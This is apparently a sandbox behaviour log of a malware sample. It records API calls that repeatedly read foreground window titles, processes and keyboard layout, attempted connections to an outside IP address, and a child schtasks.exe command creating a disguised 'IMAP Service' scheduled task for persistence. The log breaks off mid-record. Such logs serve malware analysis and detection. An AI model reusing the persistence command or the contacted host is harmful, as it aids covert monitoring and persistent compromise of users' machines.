[0222.311] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.373] GetForegroundWindow () returned 0x100f6
[0222.373] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0222.373] EnumProcesses (in: lpidProcess=0x2411590, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2411590, lpcbNeeded=0x562f77c) returned 1
[0222.374] GetLastError () returned 0x3e5
[0222.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3482f90, ResultLength=0x562f740*=0x8b68) returned 0x0
[0222.378] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0222.378] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0222.435] GetForegroundWindow () returned 0x101a2
[0222.436] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0222.436] EnumProcesses (in: lpidProcess=0x24229e0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24229e0, lpcbNeeded=0x562f77c) returned 1
[0222.436] GetLastError () returned 0x3e5
[0222.436] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34a2fb0, ResultLength=0x562f740*=0x8b68) returned 0x0
[0222.440] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0222.440] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.498] GetForegroundWindow () returned 0x101a2
[0222.498] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.560] GetForegroundWindow () returned 0x101a2
[0222.561] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.623] GetForegroundWindow () returned 0x101a2
[0222.623] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.685] GetForegroundWindow () returned 0x100f6
[0222.685] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0222.685] EnumProcesses (in: lpidProcess=0x24345e4, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24345e4, lpcbNeeded=0x562f77c) returned 1
[0222.686] GetLastError () returned 0x3e5
[0222.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34c2fd0, ResultLength=0x562f740*=0x8b68) returned 0x0
[0222.690] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0222.690] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0222.748] GetForegroundWindow () returned 0x101a2
[0222.748] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0222.748] EnumProcesses (in: lpidProcess=0x24459e0, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24459e0, lpcbNeeded=0x562f77c) returned 1
[0222.748] GetLastError () returned 0x3e5
[0222.749] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34e2ff0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x34e2ff0, ResultLength=0x562f740*=0x8b68) returned 0x0
[0222.753] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0222.753] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.810] GetForegroundWindow () returned 0x101a2
[0222.810] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.877] GetForegroundWindow () returned 0x101a2
[0222.877] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0222.935] GetForegroundWindow () returned 0x101a2
[0222.935] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.960] inet_addr (cp="154.16.63.185") returned 0xb93f109a
[0226.960] GetLastError () returned 0x3e5
[0226.960] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2d8
[0226.960] GetLastError () returned 0x0
[0226.960] setsockopt (s=0x2d8, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0226.960] GetLastError () returned 0x0
[0226.961] bind (s=0x2d8, addr=0x2469380*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0
[0226.961] GetLastError () returned 0x0
[0227.006] GetForegroundWindow () returned 0x100f6
[0227.006] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0227.006] EnumProcesses (in: lpidProcess=0x2469460, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2469460, lpcbNeeded=0x562f77c) returned 1
[0227.007] GetLastError () returned 0x3e5
[0227.007] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3523030, ResultLength=0x562f740*=0x8ba8) returned 0x0
[0227.010] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0227.010] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0227.069] GetForegroundWindow () returned 0x101a2
[0227.069] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0227.069] EnumProcesses (in: lpidProcess=0x247a918, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x247a918, lpcbNeeded=0x562f77c) returned 1
[0227.069] GetLastError () returned 0x3e5
[0227.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3543050, ResultLength=0x562f740*=0x8be8) returned 0x0
[0227.073] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0227.073] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.131] GetForegroundWindow () returned 0x101a2
[0227.131] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.193] GetForegroundWindow () returned 0x101a2
[0227.194] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.256] GetForegroundWindow () returned 0x101a2
[0227.256] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.319] GetForegroundWindow () returned 0x100f6
[0227.319] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0227.319] EnumProcesses (in: lpidProcess=0x248c754, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x248c754, lpcbNeeded=0x562f77c) returned 1
[0227.319] GetLastError () returned 0x3e5
[0227.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3563070, ResultLength=0x562f740*=0x8be8) returned 0x0
[0227.323] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0227.323] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0227.381] GetForegroundWindow () returned 0x101a2
[0227.381] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0227.381] EnumProcesses (in: lpidProcess=0x249dd88, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x249dd88, lpcbNeeded=0x562f77c) returned 1
[0227.381] GetLastError () returned 0x3e5
[0227.381] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3583090, ResultLength=0x562f740*=0x8be8) returned 0x0
[0227.385] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0227.385] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.443] GetForegroundWindow () returned 0x101a2
[0227.443] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.505] GetForegroundWindow () returned 0x101a2
[0227.505] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.568] GetForegroundWindow () returned 0x101a2
[0227.568] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.630] GetForegroundWindow () returned 0x100f6
[0227.630] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0227.630] EnumProcesses (in: lpidProcess=0x24afc18, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24afc18, lpcbNeeded=0x562f77c) returned 1
[0227.631] GetLastError () returned 0x3e5
[0227.631] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35a30b0, ResultLength=0x562f740*=0x8be8) returned 0x0
[0227.635] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0227.635] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0227.693] GetForegroundWindow () returned 0x101a2
[0227.693] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0227.693] EnumProcesses (in: lpidProcess=0x24c124c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24c124c, lpcbNeeded=0x562f77c) returned 1
[0227.694] GetLastError () returned 0x3e5
[0227.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35c30d0, ResultLength=0x562f740*=0x8be8) returned 0x0
[0227.697] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0227.697] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.817] GetForegroundWindow () returned 0x101a2
[0227.818] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.880] GetForegroundWindow () returned 0x101a2
[0227.880] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0227.942] GetForegroundWindow () returned 0x101a2
[0227.942] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.005] GetForegroundWindow () returned 0x100f6
[0228.005] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0228.005] EnumProcesses (in: lpidProcess=0x24d3088, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24d3088, lpcbNeeded=0x562f77c) returned 1
[0228.005] GetLastError () returned 0x3e5
[0228.005] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x35e30f0, ResultLength=0x562f740*=0x8be8) returned 0x0
[0228.008] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0228.008] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0228.067] GetForegroundWindow () returned 0x101a2
[0228.067] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0228.067] EnumProcesses (in: lpidProcess=0x24e46bc, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24e46bc, lpcbNeeded=0x562f77c) returned 1
[0228.067] GetLastError () returned 0x3e5
[0228.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3603110, ResultLength=0x562f740*=0x8be8) returned 0x0
[0228.070] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0228.071] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.129] GetForegroundWindow () returned 0x101a2
[0228.129] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.192] GetForegroundWindow () returned 0x101a2
[0228.192] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.254] GetForegroundWindow () returned 0x101a2
[0228.254] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.317] GetForegroundWindow () returned 0x100f6
[0228.317] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x568
[0228.317] EnumProcesses (in: lpidProcess=0x24f64f8, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x24f64f8, lpcbNeeded=0x562f77c) returned 1
[0228.317] GetLastError () returned 0x3e5
[0228.317] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x3623130, ResultLength=0x562f740*=0x8be8) returned 0x0
[0228.320] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0228.320] GetWindowTextW (in: hWnd=0x100f6, lpString=0x694980, nMaxCount=256 | out: lpString="FolderView") returned 10
[0228.384] GetForegroundWindow () returned 0x101a2
[0228.385] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x562f7c4 | out: lpdwProcessId=0x562f7c4) returned 0x760
[0228.385] EnumProcesses (in: lpidProcess=0x2507b2c, cb=0x400, lpcbNeeded=0x562f77c | out: lpidProcess=0x2507b2c, lpcbNeeded=0x562f77c) returned 1
[0228.385] GetLastError () returned 0x3e5
[0228.393] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x562f740 | out: SystemInformation=0x32f3248, ResultLength=0x562f740*=0x8be8) returned 0x0
[0228.396] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0228.396] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0228.457] GetForegroundWindow () returned 0x101a2
[0228.457] GetWindowTextW (in: hWnd=0x101a2, lpString=0x694980, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
Thread:
id = 35
os_tid = 0xbc0
[0195.339] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0210.464] CoUninitialize ()
[0210.464] CoGetContextToken (in: pToken=0x572fad4 | out: pToken=0x572fad4) returned 0x0
[0210.464] CObjectContext::QueryInterface () returned 0x0
[0210.464] CObjectContext::GetCurrentThreadType () returned 0x0
[0210.464] Release () returned 0x0
[0210.464] CoGetContextToken (in: pToken=0x572fa68 | out: pToken=0x572fa68) returned 0x0
[0210.464] CObjectContext::QueryInterface () returned 0x0
[0210.464] CObjectContext::GetCurrentThreadType () returned 0x0
[0210.464] Release () returned 0x0
Thread:
id = 36
os_tid = 0xbcc
[0211.690] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0217.282] WSAGetOverlappedResult (in: s=0x2ec, lpOverlapped=0x2468768, lpcbTransfer=0x572f79c, fWait=0, lpdwFlags=0x572f76c | out: lpcbTransfer=0x572f79c, lpdwFlags=0x572f76c) returned 0
[0217.282] GetLastError () returned 0x274d
[0217.282] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x698e70, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d
[0217.282] GetLastError () returned 0x274d
[0217.283] closesocket (s=0x2ec) returned 0
[0217.283] GetLastError () returned 0x0
[0222.951] WSAGetOverlappedResult (in: s=0x33c, lpOverlapped=0x2396328, lpcbTransfer=0x572f79c, fWait=0, lpdwFlags=0x572f76c | out: lpcbTransfer=0x572f79c, lpdwFlags=0x572f76c) returned 0
[0222.951] GetLastError () returned 0x274d
[0222.951] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x698e70, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d
[0222.951] GetLastError () returned 0x274d
[0222.951] closesocket (s=0x33c) returned 0
[0222.952] GetLastError () returned 0x0
[0228.491] WSAGetOverlappedResult (in: s=0x2d8, lpOverlapped=0x2468bf4, lpcbTransfer=0x572f79c, fWait=0, lpdwFlags=0x572f76c | out: lpcbTransfer=0x572f79c, lpdwFlags=0x572f76c) returned 0
[0228.491] GetLastError () returned 0x274d
[0228.491] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x698e70, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d
[0228.491] GetLastError () returned 0x274d
[0228.491] closesocket (s=0x2d8) returned 0
[0228.491] GetLastError () returned 0x0
Thread:
id = 37
os_tid = 0xbd0
Thread:
id = 38
os_tid = 0xbd4
Thread:
id = 39
os_tid = 0xbe4
[0228.493] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
Process:
id = "4"
image_name = "schtasks.exe"
filename = "c:\\windows\\syswow64\\schtasks.exe"
page_root = "0x1e9aa000"
os_pid = "0xb60"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "3"
os_parent_pid = "0xaf8"
cmd_line = "\"schtasks.exe\" /create /f /tn \"IMAP Service\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp\""
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000104d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 528
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 529
start_va = 0x30000
end_va = 0x31fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 530
start_va = 0x40000
end_va = 0x40fff
entry_point = 0x40000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 531
start_va = 0x50000
end_va = 0x53fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000050000"
filename = ""
Region:
id = 532
start_va = 0x60000
end_va = 0x60fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000060000"
filename = ""
Region:
id = 533
start_va = 0x110000
end_va = 0x14ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000110000"
filename = ""
Region:
id = 534
start_va = 0x190000
end_va = 0x1cffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000190000"
filename = ""
Region:
id = 535
start_va = 0xc20000
end_va = 0xc4dfff
entry_point = 0xc20000
region_type = mapped_file
name = "schtasks.exe"
filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")
Region:
id = 536
start_va = 0x77c50000
end_va = 0x77df8fff
entry_point = 0x77c50000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 537
start_va = 0x77e30000
end_va = 0x77faffff
entry_point = 0x77e30000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 538
start_va = 0x7efb0000
end_va = 0x7efd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007efb0000"
filename = ""
Region:
id = 539
start_va = 0x7efdb000
end_va = 0x7efddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007efdb000"
filename = ""
Region:
id = 540
start_va = 0x7efde000
end_va = 0x7efdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007efde000"
filename = ""
Region:
id = 541
start_va = 0x7efdf000
end_va = 0x7efdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007efdf000"
filename = ""
Region:
id = 542
start_va = 0x7efe0000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007efe0000"
filename = ""
Region:
id = 543
start_va = 0x7ffe0000
end_va = 0x7ffeffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 544
start_va = 0x7fff0000
end_va = 0x7fffffeffff
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 545
start_va = 0x310000
end_va = 0x38ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000310000"
filename = ""
Region:
id = 546
start_va = 0x75360000
end_va = 0x75367fff
entry_point = 0x75360000
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 547
start_va = 0x75370000
end_va = 0x753cbfff
entry_point = 0x75370000
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 548
start_va = 0x753d0000
end_va = 0x7540efff
entry_point = 0x753d0000
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 549
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 550
start_va = 0x20000
end_va = 0x2ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000020000"
filename = ""
Region:
id = 551
start_va = 0x70000
end_va = 0xd6fff
entry_point = 0x70000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 552
start_va = 0x2c0000
end_va = 0x2cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000002c0000"
filename = ""
Region:
id = 553
start_va = 0x4d0000
end_va = 0x5cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000004d0000"
filename = ""
Region:
id = 554
start_va = 0x75440000
end_va = 0x75448fff
entry_point = 0x75440000
region_type = mapped_file
name = "ktmw32.dll"
filename = "\\Windows\\SysWOW64\\ktmw32.dll" (normalized: "c:\\windows\\syswow64\\ktmw32.dll")
Region:
id = 555
start_va = 0x75980000
end_va = 0x7598bfff
entry_point = 0x75980000
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 556
start_va = 0x75990000
end_va = 0x759effff
entry_point = 0x75990000
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 557
start_va = 0x75a30000
end_va = 0x75a48fff
entry_point = 0x75a30000
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 558
start_va = 0x75bb0000
end_va = 0x75bf5fff
entry_point = 0x75bb0000
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 559
start_va = 0x75fd0000
end_va = 0x760dffff
entry_point = 0x75fd0000
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 560
start_va = 0x760e0000
end_va = 0x7617ffff
entry_point = 0x760e0000
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 561
start_va = 0x76180000
end_va = 0x761d6fff
entry_point = 0x76180000
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 562
start_va = 0x763c0000
end_va = 0x763c9fff
entry_point = 0x763c0000
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")
Region:
id = 563
start_va = 0x763e0000
end_va = 0x764dffff
entry_point = 0x763e0000
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 564
start_va = 0x764e0000
end_va = 0x7656efff
entry_point = 0x764e0000
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 565
start_va = 0x76670000
end_va = 0x7671bfff
entry_point = 0x76670000
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 566
start_va = 0x775d0000
end_va = 0x776bffff
entry_point = 0x775d0000
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 567
start_va = 0x776c0000
end_va = 0x7781bfff
entry_point = 0x776c0000
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 568
start_va = 0x77820000
end_va = 0x778affff
entry_point = 0x77820000
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 569
start_va = 0x77990000
end_va = 0x77a2cfff
entry_point = 0x77990000
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")
Region:
id = 570
start_va = 0x77a30000
end_va = 0x77b4efff
entry_point = 0x0
region_type = private
name = "private_0x0000000077a30000"
filename = ""
Region:
id = 571
start_va = 0x77b50000
end_va = 0x77c49fff
entry_point = 0x0
region_type = private
name = "private_0x0000000077b50000"
filename = ""
Region:
id = 572
start_va = 0x7efe0000
end_va = 0x7f0dffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007efe0000"
filename = ""
Region:
id = 573
start_va = 0x7f0e0000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007f0e0000"
filename = ""
Region:
id = 574
start_va = 0x5d0000
end_va = 0x757fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000005d0000"
filename = ""
Region:
id = 575
start_va = 0x76720000
end_va = 0x767ebfff
entry_point = 0x76720000
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")
Region:
id = 576
start_va = 0x77570000
end_va = 0x775cffff
entry_point = 0x77570000
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 577
